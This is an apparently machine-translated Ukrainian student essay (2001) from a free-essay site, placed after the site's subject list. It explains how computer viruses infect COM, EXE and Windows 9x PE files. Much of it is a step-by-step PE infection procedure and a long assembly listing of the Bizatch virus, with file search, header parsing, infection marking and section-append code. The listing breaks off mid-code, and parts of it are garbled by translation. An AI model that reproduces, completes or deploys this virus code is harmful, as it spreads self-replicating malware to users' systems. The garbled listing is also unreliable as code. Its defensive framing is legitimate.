ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Комп'ютерні віруси
         

     

    Інформатика, програмування

    МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ

    Таганрозький радіотехнічний УНІВЕРСИТЕТ

    РЕФЕРАТ

    з курсу «Основи експлуатації ЕОМ»

    тема: «Комп'ютерні віруси, методи захисту, профілактика та лікування »

    Виконав:
    Шуев С.Б.


    Перевірив:

    Евтеев Г.М.

    Таганрог, 2001

    ВСТУП

    Під час роботи з сучасним персональним комп'ютером користувача (аособливо початківця) може підстерігати безліч неприємностей: втратаданих, зависання системи, вихід з ладу окремих частин комп'ютера іінші. Однією з причин цих проблем поряд з помилками в програмномузабезпечення) і невмілими діями самого оператора ПЕОМ можуть бутипроникли в систему комп'ютерні віруси. Ці програми подібнобіологічним вірусам розмножуються, записуючись в системні області дискаабо приписуючи до файлів і виробляють різні небажані дії,які, найчастіше, мають катастрофічні наслідки. Щоб не статижертвою цієї напасті, кожному користувачеві слід добре знати принципизахисту від комп'ютерних вірусів.

    У літературі досить наполегливо пропагується, що позбутися відвірусів можна лише за допомогою складних (і дорогих) антивіруснихпрограм, і нібито тільки під їхнім захистом ви зможете відчувати себе вповній безпеці. Це не зовсім так - знайомство з особливостямибудови і способами впровадження комп'ютерних вірусів допоможе вчасно їхвиявити і локалізувати, навіть якщо під рукою не виявиться підходящоїантивірусної програми.

    COM - віруси.

    Розглянемо два варіанти впровадження COM-вірусу.
    Варіант перший. Вірус переписує початок програми в кінець файлу, щобзвільнити місце для себе. Після цього тіло вірусу записується в початокфайлу, а невелика його частина, що забезпечує перенесення витісненого фрагментапрограми, на колишнє місце - в кінець. При відновленні первісноговиду програми тіло вірусу буде затерто, тому код вірусу,відновлює програму, повинен перебувати в безпечному місці, окремовід основного тіла вірусу. Цей спосіб впровадження зображений на рис. 1.

    Початок програми переписується в кінець файлу, звільняючи місце для вірусу

    Тіло вірусу записується в початок файлу, а частина вірусу забезпечує відновлення програми - в кінець

    Рис. 1
    Під час завантаження зараженого таким способом файлу керування отримає вірус (такяк він знаходиться на початку файлу і буде завантажений з адреси 100h). Післязакінчення роботи вірус передає управління коду, що переносить витисненучастина програми на колишнє місце. Після відновлення (в пам'яті, не вфото) первісного вигляду програми, вона запускається. Схема роботи вірусузображена на рис. 2.
    Другий варіант відрізняється від першого тим, що вірус, звільняючи для себемісце, зрушує все тіло програми, а не переносить її частину в кінець файлу.
    Цей спосіб впровадження зображений на рис. 3. Після запуску зараженоїпрограми, як і в попередньому випадку, управління отримує вірус.

    Відпрацювавши, вірус передає управління свого коду в кінці програми.

    Відновлює ся первинний вигляд програми

    Після відновлення вірус запускає програму

    Рис.2

    Подальша робота вірусу відрізняється тільки тим, що частина вірусу,відновлює первинний вигляд програми, переносить до адресою 100h всетіло програми, а не тільки витиснену частину. Схема роботи вірусу,заражающего файл таким чином, наведена на рис. 4.

    Тіло програми зсувається ближче до кінця файлу, звільняючи місце для вірусу

    Тіло вірусу записується в початок файлу, а частина вірусу, що забезпечує відновлення програми - в кінець < p> рис. 3

    Відпрацювавши, вірус передає управління свого коду в кінці програми.

    Відновлюється первісний вигляд програми - тіло програми зсувається до адресою 0100h

    Після відновлення вірус запускає програму

    рис. 4

    EXE - віруси

    EXE - віруси умовно можна розділити на групи, використовуючи якознаки для поділу особливості алгоритму.

    Віруси, що заміщають програмний код (Overwrite).

    Такі віруси вже стали раритетом. Їх головний недолік - занадтогруба робота. Інфіковані програми не виконуються, так як вірусзаписується поверх програмного коду, не зберігаючи його. При запуску вірусшукає чергову жертву (або жертви), відкриває знайдений файл дляредагування і записує своє тіло в початок програми, не зберігаючиоригінальний код. Інфіковані цими вірусами програми лікування непідлягають.

    Віруси - супутники (Companion).

    Ці віруси отримали свою назву через алгоритму розмноження: докожному інфікованій файлу створюється файл - супутник. Розглянемо більшдокладно два типи вірусу цієї групи:

    Віруси першого типу розмножуються в такий спосіб. Для кожногоінфіковані EXE - файл у тому ж каталозі створюється файл з віруснимкодом, що має таке ж ім'я, що і EXE - файл, але з розширенням СОМ. Вірусактивізується, якщо при запуску програми в командному рядку вказанотільки ім'я файлу, що виконується. Справа в тому, що, якщо не вказано розширенняфайлу, DOS спочатку шукає в поточному каталозі файл із заданим ім'ям ірозширенням СОМ. Якщо СОМ - файл з таким ім'ям не знайдений, ведеться пошукоднойменного ЕХЕ - файлу. Якщо не знайдений і ЕХЕ - файл, DOS спробуєвиявити і ВАТ (пакетний) файл. У разі відсутності в поточному каталозівиконуваного файлу з вказаним ім'ям пошук ведеться у всіх каталогах,доступних по змінній РАТН. Іншими словами, коли користувач хочезапустити програму і набирає в командному рядку тільки її ім'я (в основномутак все і роблять), перше управління отримує вірус, код якогознаходиться в СОМ - файлі. Він створює СОМ - файл ще до одного чи декількох
    ЕХЕ - файлів (поширюється), а потім виконує ЕХЕ - файл з вказаним вкомандному рядку ім'ям. Користувач ж думає, що працює тількизапущена ЕХЕ - програма. Вірус - супутник знешкодити досить просто --достатньо видалити СОМ - файл.

    Віруси другого типу діють більш тонко. Назва інфіковані ЕХЕ --файлу залишається колишнім, а розширення замінюється яким - або іншим,відмінним від виконуваного (СОМ, ЕХЕ і ВАТ). Наприклад файл може пллучітьрозширення DAT (файл даних) або OVL (програмний оверлей). Потім на місце
    ЕХЕ - файлу копіюється вірусний код. При запуску такої інфікованоїпрограми управління отримує вірусний код, що знаходиться в ЕХЕ - файлі.
    Інфікувавши ще один або кілька ЕХЕ - файлів таким же чином, вірусповертає оригінального файлу виконується розширення (але не ЕХЕ, а СОМ,поскільки ЕХЕ - файл стакими ім'ям зайнятий вірусом), після чого виконуєйого. Коли робота інфікованої програми закінчена, її запускаємо файлповертається розширення неісполняемого. Лікування файлів, заражених вірусомцього типу, може бути ускладнений, якщо вірус - супутник шифрує частину абовсе тіло інфіковані файлу, а перед виконанням його розшифровує.

    Віруси, впроваджуються в програму (Parasitic)

    Віруси цього виду самі непомітні: їх код записується в інфікованіпрограму, що істотно ускладнює лікування заражених файлів. Розглянемометоди впровадження ЕХЕ - вірусів в ЕХЕ - файл.

    Способи зараження ЕХЕ - файлів.

    Найпоширеніший спосіб зараження ЕХЕ - файлів такий: в кінецьфайлу дописується тіло вірусу, а заголовок коригується (зі збереженняморигінальному) так, щоб при запуску інфікованого файлу керуванняотримував вірус. Схоже на зараження СОМ - файлів, але замість завдання в кодіпереходу в початок вірусу коректується власне адреса точки запускупрограми. Після закінчення роботи вірус бере з збереженого заголовкаоригінальний адреса запуску програми, додає до його сегментноїкомпоненті значення регістра DS або ES (отримане при старті вірусу) іпередає управління на отриманий адресу.

    Наступний спосіб - впровадження вірусу в початок файлу із зсувом кодупрограми. Механізм зараження такою: тіло інфіковані програмизчитується в пам'ять, на її місце записується вірусний код, а після нього --код інфіковані програми. Таким чином, код програми як би
    «Зсувається» у файлі на довжину коду вірусу. Звідси й назва способу -
    «Спосіб зсуву». При запуску інфікованого файлу вірус заражає ще одинабо декілька файлів. Після цього він зчитує в пам'ять код програми,записує його у спеціально створений на диску тимчасовий файл з розширеннямвиконуваного файлу (СОМ або ЕХЕ), і потім виконує цей файл. Колипрограма закінчила роботу, тимчасовий файл видаляється. Якщо при створеннівірусу не застосовувалося додаткових прийомів захисту, то вилікуватиінфікований файл дуже просто - достатньо видалити код вірусу на початкуфайлу, і програма знову буде працездатною. Недолік цього методу вте, що приходиться зчитувати в пам'ять весь код інфіковані програми (абувають екземпляри розміром більше 1 Мбайт).

    Наступний спосіб зараження файлів - метод переносу - як видно,є найдосконалішим з усіх перерахованих. Вірус розмножуєтьсяв такий спосіб: при запуску інфіковані програми тіло вірусу з неїзчитується в пам'ять. Потім ведеться пошук неінфікованих програми. Упам'ять зчитується її початок, по довжині рівну тіла вірусу. На це місцезаписується тіло вірусу. Початок програми з пам'яті дописують в кінецьфайлу. Звідси назва методу - «метод перенесення». Після того, як вірусінфікував один або декілька файлів, він приступає до виконанняпрограми, з якої запустився. Для цього він зчитує початокінфікованої програми, збережене в кінці файлу, і записує його впочаток файлу, відновлюючи працездатність програми. Потім вірусвидаляє код початку програми з кінця файлу, відновлюючи оригінальнудовжину файлу, і виконує програму. Після завершення програми вірус зновзаписує свій код в початок файлу, а оригінальне початок програми - укінець. Цим методом можуть бути інфіковані навіть антивіруси, якіперевіряють свій код на цілісність, тому що запускається вірусом програмамає в точності такий же код, як і до інфікування.

    Віруси під Windows 9x.

    Формат Portable Executable використовується Win 32, Windows NT, Windows
    95, Windows 98, що робить його дуже популярним, і в майбутньому, можливо вінстане домінуючим форматом ЕХЕ. Цей формат значно відрізняється від NE
    - Executable, що використовується в Windows 3.11.

    Виклик Windows API.

    Звичайні програми викликають Windows API (Application Program Interface)використовуючи таблицю імпортованих імен. Коли додано додаток, дані,необхідні для виклику API, заносяться в цю таблицю. У Windows 9x,завдяки передбачливості фірми - виробника Microsoft,модифіковані таблицю імпортованих імен неможливе. Це проблема вирішуєтьсябезпосереднім викликом KERNEL32. Тобто необхідно повністюігнорувати структуру виклику і перейти безпосередньо на точку входу DLL.

    Щоб отримати описувач (Handle) DLL/ЕХЕ, можна використовувати виклик
    АРI GetModuleHandle або інші функції для отримання точок входу модуля,включаючи функцію отримання адреси API GetProcAddress.

    Як викликати API, маючи можливість викликати його і в той же час такийможливості не маючи? Відповідь: викликати API, розташування якого в пам'ятівідомо - це API у файлі KERNEL32.DLL, він знаходиться за постійнимадресою.

    Виклик API додатками виглядає приблизно так: сall API_FUNCTION_NAMEнаприклад: call CreateFileA
    Після компіляції цей виклик виглядає так: db 9Ah; інструкція call dd???? ; зміщення у таблиці переходів
    Код в таблиці переходів схожий на такий: jmp far [offset into import table]
    Зсув в таблиці імпортуються імен містить адреса диспетчера для даноїфункції API. Ця адреса можна отримати за допомогою GetProcAddress API.
    Диспетчер функцій виглядає так: push function value call Module Entrypoint

    Знаючи точки входу, можна викликати їх прямо, минаючи таблицю цьогомодуля. Тому можна замінити виклики KERNEL32.DLL в його стандартній точціна виклики безпосередньо функцій. Просто зберігаємо в стеку значенняфункції і викликаємо точку входу в модуль.

    Модуль KERNEL32.DLL розташовується в пам'яті статично - саме так іпередбачалося. Але конкретне місце його розташування в різних версіях
    Windows 9x відрізняється. Це було підтверджено. Виявилося, що одна функція
    (одержання часу/дати) відрізняється номером. Для компенсації цих відмінностейдодана перевірка двох різних місць на наявність KERNEL32.DLL. Але якщо
    KERNEL32.DLL все-таки не знайдений, вірус повертає керування програмі -носія.

    Адреси та номери функції.

    Для June Test Release KERNEL32.DLL знаходиться за адресою 0BFF93B95h, для
    August Release - за адресою 0BFF93C1Dh. Можна знайти інші значення функції,використовуючи 32-бітний відладчик. У таблиці 1 наведені адреси функцій, якіпотрібні для роботи вірусу.

    Таблиця 1. Адреси деяких функцій KERNEL32.DLL

    | Функція | Адреса в June Test | Адреса в August Test |
    | | Release | Release |
    | GetCurrentDir | BFF77744h | BFF77744h |
    | SetCurrentDir | BFF7771Dh | BFF7771Dh |
    | GetTime | BFF9D0B6h | BFF9D14Eh |
    | MessageBox | BFF638D9h | BFF638D9h |
    | FindFile | BFF77893h | BFF77893h |
    | FindNext | BFF778CBh | BFF778CBh |
    | CreateFile | BFF77817h | BFF77817h |
    | SetFilePointer | BFF76FA0h | BFF76FA0h |
    | ReadFile | BFF75806h | BFF75806h |
    | WriteFile | BFF7580Dh | BFF7580Dh |
    | CloseFile | BFF7BC72h | BFF7BC72h |

    Угоди про виклики.

    Windows 9x написаний на мовах С + + (в основному) і Assembler. І, хочаугоди про виклики простими для застосування, Microsoft їх не використовує. Всі
    АРI під Windows 9x використовують Pascal Calling Convention. Приклад - АРI,описаний у файлах довідки Visual C ++:

    FARPROC GetProcAddres (

    HMODULE hModule,// описувач DLL-модуля

    LPCSTR lpszProc// ім'я функції

    );

    На перший погляд здається, що достатньо лише зберегти в стекуописувач DLL-модуля (він стоїть перед покажчиком на ім'я функції) і викликати
    API. Але це не так. Параметри, згідно Pascal Calling Convention, повиннібути збережені у стеку у зворотному порядку:

    Push offset lpszProc

    Push dword ptr [hModule]

    Call GetProcAddress

    Використовуючи 32 -- бітний відладчик, можна оттрасіровать виклик і знайти виклик
    KERNEL32.DLL для кожного конкретного випадку. Це дозволить отримати номерфункції і обійтися без необхідної для виклику таблиці імпортуються імен.

    Зараження файлів формату PE - execuatable.

    Визначення положення початку РЕ - заголовка відбувається аналогічнопошуку початку NE - заголовка. Якщо зсув таблиці настройки адрес (поле
    18h) в заголовку ЕХЕ - файлу 40h або більше, то по зсуву 3Ch знаходитьсязсув PE - execuatable заголовка. Сигнатура PE - execuatable ( «РЕ»)знаходиться, як і у NE - execuatable ЕХЕ - файла, на початку нового заголовка.

    Всередині PE - заголовка знаходиться таблиця об'єктів. Її формат найбільшважливий в порівнянні з іншими. Щоб додати вірусного коду в носій іперехоплення вірусом управління потрібно додати елементи до таблиціоб'єктів.

    Основні дії зараження PE - execuatable файлу:

    1. Знайти зсув заголовка PE - execuatable у файлі.

    2. Вважати достатню кількість інформації із заголовка для обчислення його повного розміру.

    3. Вважати весь PE - заголовок і таблицю об'єктів.

    4. Додати новий об'єкт до таблиці об'єктів.

    5. Встановити точку входу RVA на новий об'єкт.

    6. Дописати вірус до файлу по вирахуваній фізичній зсуву.

    7. Записати змінений РЕ - заголовок у файл.

    Для визначення розташування таблиці об'єктів слід скористатисязначенням змінної «HeaderSize» (не плутати з «NT headersize»), якамістить спільний розмір заголовків DOS, PE і таблиці об'єктів.

    Для читання таблиці об'єктів необхідно вважати HeaderSize байт відпочатку файлу.

    Таблиця об'єктів розташована безпосередньо за NT - заголовком.
    Значення «NTheadersize» показує кількість байт, наступних за полем
    «Flags». Отже, для визначення зміщення таблиці об'єктів потрібно отримати
    NТheadersize і додати розмір поля прапорів (24).

    Додавання об'єкту: отримавши кількість об'єктів, помножити його на 40
    (розмір елемента таблиці об'єктів). Таким чином визначається зміщення, заякому буде розташований вірус.

    Дані для елемента таблиці об'єктів повинні бути обчислені звикористанням інформації в попередньому елементі (елементі носія).

    RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment 1)

    * OBJ Alignment

    Virtual Size = ((size of virus + buffer any space)/OBJ Alignment 1)

    * OBJ Alignment

    Physical Size = (size of virus/File Alignment +1) * File Alignment

    Physical Offset = prev Physical Offset + prev Physical Size

    Object Flags = db 40h, 0,0, C0h

    Entrypoint RVA RVA =

    Тепер необхідно збільшити на одиницю полі «кількість об'єктів» тазаписати код вірусу по вирахуваній «фізичній зміщення» у розміріфізичного розміру байт.

    Приклад вірусу під Windows 9x.

    .386localsjumps
    . model flat, STDCALL include win32.inc; деякі 32-бітові константи і структури
    L equ

    ; Визначимо зовнішні функції, до яких будепідключатися вірус extrn BeginPaint: PROC extrn CreateWindowExA: PROC extrn DefWindowProcA: PROC extrn DispatchMessageA: PROC extrn EndPaint: PROC extrn ExitProcess: PROC extrn FindWindowA: PROC extrn GetMessageA: PROC extrn GetModuleHandleA: PROC extrn GetStockObject: PROC extrn InvalidateRect: PROC extrn LoadCursorA: PROC extrn LoadIconA: PROC extrn MessageBeep: PROC extrn PostQuitMessage: PROC extrn RegisterClassA: PROC extrn ShowWindow: PROC extrn SetWindowPos: PROC extrn TextOutA: PROC extrn TranslateMessage: PROC extrn UpdateWindow: PROC

    ; Для підтримки Unicode Win32 інтерпретує деякі функції

    ; для ANSI або розширеного набору символів.

    ; В якості прикладу розглянемо ANSI

    CreateWindowEx equ
    DefWindowProc equ
    DispatchMessage equ
    FindWindow equ
    GetMessage equ
    GetModuleHandle equ
    LoadCursor equ
    LoadIcon equ
    MessageBox equ
    RegisterClass equ
    TextOut equ

    . data newhwnd dd 0 lppaint PAINTSTRUCT msg MSGSTRUCT wc WNDCLASS mbx_count dd 0 hInst dd 0 szTitleName db "Bizatch by Quantum/VLAD activated" zero db 0 szAlternate db "more than once", 0 szClassName db "ASMCLASS32", 0

    ; Повідомлення що виводиться у вікні szPaint db "Left button pressed:" s_num db "00000000h times.", 0

    ; Розмір повідомлення
    MSG_L EQU ($-offset szPaint ) -1
    . code

    ; Сюди зазвичай передається управління від завантажувача.start:

    ; Отримаємо HMODULE push L 0 call GetModuleHandle mov [hInst], eax push L 0 push offset szClassName call FindWindow or eax, eax jz reg_class

    ; Простір для модифікації рядка заголовка mov [zero], ""reg_class:

    ; Ініціалізіруем структуру WndClass mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS mov [wc.clsLpfnWndProc], offset WndProc mov [wc.clsCbClsExtra], 0 mov [wc.clsCbWndExtra], 0 mov eax, [hInst] mov [wc.clsHInstance], eax

    ; Завантажуємо значок push L IDI_APPLICATION push L 0 call LoadIcon mov [wc.clsHIcon], eax

    ; Завантажуємо курсор push L IDC_ARROW push L 0 call LoadCursor mov [wc.clsHCursor], eax

    ; Ініціалізіруем залишилися поля структури WndClass mov [wc.clsHbrBackground], COLOR_WINDOW 1 mov dword ptr [wc.clsLpszMenuName], 0 mov dword ptr [wc.clsLpszClassName], offset szClassName

    ; Реєструє клас вікна push offset wc call RegisterClass

    ; Створюємо вікно push L 0; lpParam push [hInst]; hInstance push L 0 ; Меню push L 0; hwnd батьківського вікна push L CW_USEDEFAULT; Висота push L CW_USEDEFAULT; Довжина push L CW_USEDEFAULT; Y push L CW_USEDEFAULT; X push L WS_OVERLAPEEDWINDOW; Style push offset szTitleName; Title Style push offset szClassName; Class Name push L 0; extra style call CreateWindowEx

    ; Зберігаємо HWND mov [newhwnd], eax

    ; відображається вікно на екрані push L SW_SHOWNORMAL push [newhwnd] call ShowWindow

    ; Оновлюємо вміст вікна push [newhwnd] call UpdateWindow

    ; Черга повідомленьmsg_loop:

    ; Прочитаємо таке повідомлення з черги push L 0 push L 0 push L 0 push offset msg call GetMessage

    ; Якщо функція GetMessage повернула нульове значення,

    ; то завершуємо обробку повідомлень і виходимо зпроцесу cmp ax, 0 je end_loop

    ; перетворимо віртуальні коди клавіш в повідомленняклавіатури push offset msg call TranslateMessage

    ; зраджуємо це повідомлення тому в Windows push offset msg call DispatchMessage

    ; Переходимо до наступного повідомлення jmp msg_loop

    ; Виходимо з процесуend_loop: push [msg.msWPARAM] call ExitProcess

    ; Обробка повідомлень вікна. Win32 вимагає збереження регістрів

    ; EBX, EDI, ESI. запишемо ці регістри після "uses" у рядку "proc"

    ; Це дозволить Асемблер зберегти їх
    WndProc proc uses ebx edi esi, hwnd: DWORD, wmsg: DWORD, wparam: DWORD, lparam: DWORD
    LOCAL theDC: DWORD

    ; Перевіримо, яке повідомлення отримали, і перейдемо до обробки

    cmp [wmsg], WM_DESTROYje wmdestroyстр [wmsg], WM_RBUTTONDOWNje wmrbuttondowncmp [wmsg], WM_SIZEje wmsizecmp [wmsg], WM_CREATEje wmcreatecmp [wmsg], WM_LBUTTONDOWNje wmlbuttondowncmp [wmsg], WM_PAINTje wmpaintcmp [wmsg], WM_GETMINMAXINFOje wmgetminmaxinfo

    ; Дана програма не обробляє це повідомлення.
    ; Передамо його Windows,
    ; щоб воно було оброблено за замовчуваннямjmp defwndproc

    ; Повідомлення WM_PAINT (перемалювати вміст вікна) wmpaint:

    ; Підготуємо вікно для перемальовуванняpush offset Ippaintpush [hwnd]call BeginPaintmov [theDC], eax

    ; Переведемо в ASCII-формат значення mbx_count, яке
    ; доводить, скільки разів була натиснута ліва кнопка миші

    mov eax, [mbx_count]mov edi, offset s_numcall HexWrite32

    ; Висновок рядки у вікно

    push L MSG_L; Фразаpush offset szPaint; Рядокpush L 5; Ypush L 5; Xpush [theDC]; DCcall TextOut

    ; 0бозначім завершення перемальовування вікнаpush offset Ippaintpush [hwnd]call EndPaint

    ; Виходимо з обробки повідомленняmov eax, 0jmp finish

    ; Повідомлення WM_CREATE (створення вікна)

    wmcreate:

    ; Виходимо з обробки повідомленняmov eax, 0jmp finish

    ; Повідомлення, не обробляється даною програмою, передаємо Windowsdefwndproc:

    push [Iparam]push [wparam]push [wmsg]push [hwnd]call DefWindowProc

    ; Виходимо з обробки повідомленняjmp finish

    ; Повідомлення WM_DESTROY (знищення вікна)wmdestroy:

    ; Закриємо потікpush L Проcall PostQuitMessage

    ; Виходимо з обробки повідомленняmov eax, Оjmp finish

    ; Повідомлення WMJ-BUTTONDOWN (натиснута ліва кнопка миші)wmlbuttondown:

    inc [mbx_count]

    ; 0бновім вміст вікнаpush L 0push L 0push [hwnd]call InvalidateRect

    [Виходимо з обробки повідомленняmov eax, Оjmp finish

    ; Повідомлення WM_RBUTTONDOWN (натиснута права кнопка миші)

    wmrbuttondown:

    push L 0call MessageBeep

    ; Виходимо з обробки повідомленняjmp finish

    ; Повідомлення WM_SIZE (змінено розмір вікна)wmsize:

    ; Виходимо з обробки повідомленняmov eax, Оjmp finish

    ; Повідомлення WM_GETMINMAXINFO (спроба змінити розмір

    ; або положення вікна)

    wmgetminmaxinfo:

    ; Заповнимо структуру MINMAXINFOmov ebx, [Iparam]

    mov [(MINMAXINFO ptr. ebx). mintrackposition_x], 350mov [(MINMAXINFO ptr ebx). mintrackposition_y], 60

    ; Виходимо з обробки повідомленняmov eax, Оjmp finish

    ; Виходимо з обробки повідомленняfinish:

    ret
    WndProc endp

    ; Процедура перекладу байти в ASCII-формат для друку. Значення,
    ; що знаходиться в регістрі AL, буде записано в ASCII-форматі
    ; за адресою ES-.EDI
    HexWriteS proc

    ; Розділяємо байт на полубайти і завантажуємо їх у регістри АН і ALmov ah, aland al.0Fhshr ah, 4

    ; Додаємо 30h до кожного полубайту, щоб регістри містили коди
    ; відповідних символів ASCII. Якщо число,

    ; записане в полубайте, було більше 9,
    ; то значення в цьому полубайте треба ще коригуватиor ax, 3030h

    ; Міняємо полубайти місцями, щоб регістр АН містив молодший
    ; полубайт, а регістр AL - старшийxchg al.ah

    ; Перевіримо, чи треба коригувати молодший полубайт,
    ; якщо так - коректуємо

    cmp ah, 39hja @ @ 4

    ; Перевіримо, чи треба коригувати старший полубайт,
    ; якщо так - коректуємо

    @ @ 1:cmp al, 39hja @ @ 3

    ; Збережемо значення за адресою ES: EDI
    @ @ 2:stoswret

    ; Коректуємо значення старшого полубайта
    @ @ 3:sub al, 30hadd al, "A" -10jmp @ @ 2

    ; Коректуємо значення молодшого полубайта
    @ @ 4:sub ah, 30hadd ah, "A" -10jmp @ @ 1
    HexWriteS endp

    ; Процедура перекладу слова в ASCII-формат для друку.
    ; Значення, що знаходиться в регістрі АХ, буде записано
    ; в ASCII-форматі за адресою ES: EDI

    HexWrite16 proc

    ; Збережемо молодший байт з стекаpush ax

    ; Завантажимо старший байт в регістр ALxchg al, ah

    ; Переведемо старший байт в ASCII-форматcall HexWriteS

    ; Відновимо молодший байт з стекаpop ax

    ; Переведемо молодший байт в ASCII-формат

    call HexWriteSret
    HexWrite16 endp

    ; Процедура перекладу подвійного слова в ASCII-формат для друку.
    ; Значення, що знаходиться в регістрі ЕАХ, буде записано
    ; в ASCII-форматі за адресою ES: EDI
    HexWrite32 proc

    ; Збережемо молодше слово з стекаpush eax

    ; Завантажимо старше слово в регістр АХshr eax, 16

    ; Переведемо старше слово в ASCII-форматcall HexWrite16

    ; Відновимо молодше слово з стекаpop eax

    ; Переведемо молодше слово в ASCII-формат

    call HexWrite16ret
    HexWrite32 endp

    ; Зробимо процедуру WndProc доступною ззовні

    public WndProcends

    ; Тут починається код вірусу. Цей код переписується з файлу
    ; у файл. Все описане вище - всього лише програма-носійvladseg segment para public "vlad"

    assume cs: vladsegvstart: *

    ; Обчислимо поточну адресу

    call recalcrecalc:pop ebpmov eax, ebpdb 2Dh; Код команди SUB AXsubme dd 30000h + (recalc-vstart)

    ; Збережемо адреса в стекуpush eax

    ; Обчислимо стартовий адреса вірусного кодуsub ebp, offset recalc

    ; Шукаємо KERNEL. Візьмемо другий відому нам точку KERNELmov eax, [ebp + offset kern2]

    ; Перевіримо ключ. Якщо ключа немає, перейдемо до точки 1cmp dword ptr [eax], 5350FC9Chjnz notkern2

    ; KERNEL знайдений, точка 2

    mov eax, [ebp + offset kern2]jmp movit

    ; Точка 2 не підійшла, перевіримо точку 1notkern2:

    ; Візьмемо адреса першої відомої нам точки KERNELmov eax, [ebp + offset kern1]

    ; Перевіримо ключ, якщо немає ключа - виходимоcmp dword ptr [eax], 5350FC9Chjnz nopayload

    ; KERNEL знайдений, точка 1

    mov eax, [ebp + offset kern1]

    ; KERNEL знайдений, адреса точки входу знаходиться в регістрі EAXmovit:

    ; Збережемо адреса KERNELmov [ebp + offset kern], eaxcld

    ; 3апомнім поточну директоріюlea eax, [ebp + offset orgdir]push eaxpush 255call GetCurDir

    ; Ініціалізіруем лічильник заражень

    mov byte ptr [ebp + offset countinfect], 0

    ; Шукаємо першу файлinfectdir:

    lea eax, [ebp + offset win32_data_thang]push eaxlea eax, [ebp + offset fname]push eaxcall FindFile

    ; Збережемо індекс для пошуку

    mov dword ptr [ebp + offset searchhandle], eax

    Перевіримо, знайдений чи файл. Якщо файл не знайдено,
    ; міняємо директорію

    cmp ЕАХ, -1jz foundnothing

    ; 0ткроем файл для читання та записуgofile:push Проpush dword ptr [ebp + offset fileattr]; FILE_ATTRIBUTE_NORMALpush 3; OPEN_EXISTINGpush 0push 0push 80000000h 40000000 h; GENERIC_READ + GENERIC_WRITElea eax, [ebp + offset fullname]push eaxcall CreateFile

    ; Збережемо описувач файлу

    mov dword ptr [ebp + offset ahand], eax

    ; Перевіримо, не чи відбулася помилка.
    ; Якщо помилка сталася, шукаємо Наступне фото

    сmр ЕАХ, -1jz findnextone

    ; Доставим покажчик позиції читання/запису на полі
    ; із зсувом РЕ-заголовка

    push Проpush Проpush 3Chpush dword ptr [ebp + offset ahand]call SetFilePointer

    ; Вважаємо адреса РЕ-заголовкаpush Проlea eax, [ebp + offset bytesread]push eaxpush 4lea eax, [ebp + offset peheaderoffset]push eaxpush dword ptr [ebp + offset ahand]call ReadFile

    ; Доставим покажчик позиції читання/запису на початок РЕ-заголовкаpush 0push 0push dword ptr [ebp + offset peheaderoffset]push dword ptr [ebp + offset ahand]call SetFilePointer

    ; Вважаємо число байт, достатню для обчислення повного розміру
    ; РЕ-заголовка і таблиці об'єктів

    push 0lea eax, [ebp + offset bytesread]push eaxpush 58hlea eax, [ebp + offset peheader]push eaxpush dword ptr [ebp + offset ahand]call ReadFile

    ; Перевіримо сигнатуру. Якщо її немає, закриваємо
    ; цей файл і шукаємо наступний

    cmp dword ptr [ebp + offset peheader], 00004550h;jnz notape

    ; Перевіримо файлу на зараженість. Якщо файл заражений,
    ; то закриваємо цей файл і шукаємо наступний

    cmp word ptr [ebp + offset peheader +4 ch], OFOODhjz notapecmp dword ptr [ebp + offset 52], 4000000hjz notape

    ; Доставим покажчик позиції читання/запису на початок РЕ-заголовкаpush 0push 0push dword ptr [ebp + offset peheaderoffset]push dword ptr [ebp + offset ahand]call SetFilePointer

    ; Вважаємо весь РЕ-заголовок і таблицю об'єктів

    push Проlea eax, [ebp + offset bytesread]push eaxpush dword ptr [ebp + offset headersize]lea eax, [ebp + offset peheader]push eaxpush dword ptr [ebp + offset ahand]call ReadFile

    ; стає ознакою зараження

    mov word ptr [ebp + offset peheader +4 ch], OFOODh

    ; Знайдемо зсув таблиці об'єктівxor eax, eaxmov ax, word ptr [ebp + offset NtHeaderSize]add eax, 18hmov dword ptr [ebp + offset ObjectTableoffset], eax

    ; Обчислимо зміщення останнього (null) об'єкта в таблиці об'єктівmov esi, dword ptr [ebp + offset ObjectTableoffset]lea eax, [ebp + offset peheader]add esi, eaxxor eax.eaxmov ax, [ebp + offset numObj]mov ecx, 40xor edx.edxmul ecxadd esi, eax

    ; Збільшимо число об'єктів на 1

    inc word ptr [ebp + offset numObj]lea edi, [ebp + offset newobject]xchg edi, esi

    ; Обчислимо відносний віртуальну адресу (Relative Virtual Address
    ; або RVA) нового об'єкта

    mov eax, [edi-5 * 8 +8]add eax, [edi-5 * 8 +12]mov ecx, dword ptr [ebp + offset objalign]xor edx, edxdiv ecxinc eaxmul ecxmov dword ptr [ebp + offset RVA], eax

    ; Обчислимо фізичний розмір нового об'єктаmov ecx, dword ptr [ebp + offset filealign]mov eax, vend-vstartxor edx, edxdiv ecxinc eaxmul ecxmov dword ptr [ebp + offset physicalsize], eax

